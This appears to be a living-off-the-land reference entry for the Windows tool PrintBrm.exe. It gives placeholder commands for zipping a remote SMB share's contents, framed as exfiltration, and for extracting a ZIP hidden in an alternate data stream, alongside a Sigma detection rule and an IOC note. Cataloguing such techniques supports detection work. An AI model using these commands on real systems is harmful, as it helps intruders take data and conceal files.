.. /PrintBrm.exe
Star

Download (Compression)

Alternate data streams (Compression)

Printer Migration Command-Line Tool

Paths:

C:\Windows\System32\spool\tools\PrintBrm.exe

Resources:

https://twitter.com/elliotkillick/status/1404117015447670800

Acknowledgements:

Elliot Killick (@elliotkillick)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml
IOC: PrintBrm.exe should not be run on a normal workstation

Download

Create a ZIP file from a folder in a remote drive
```
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}
```
Use case
Exfiltrate the contents of a remote folder on a UNC share into a zip file

Privileges required
User

Operating systems
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105
Tags
Type: Compression

Alternate data streams

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder
```
PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}
```
Use case
Decompress and extract a ZIP file stored on an alternate data stream to a new folder

Privileges required
User

Operating systems
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004
Tags
Type: Compression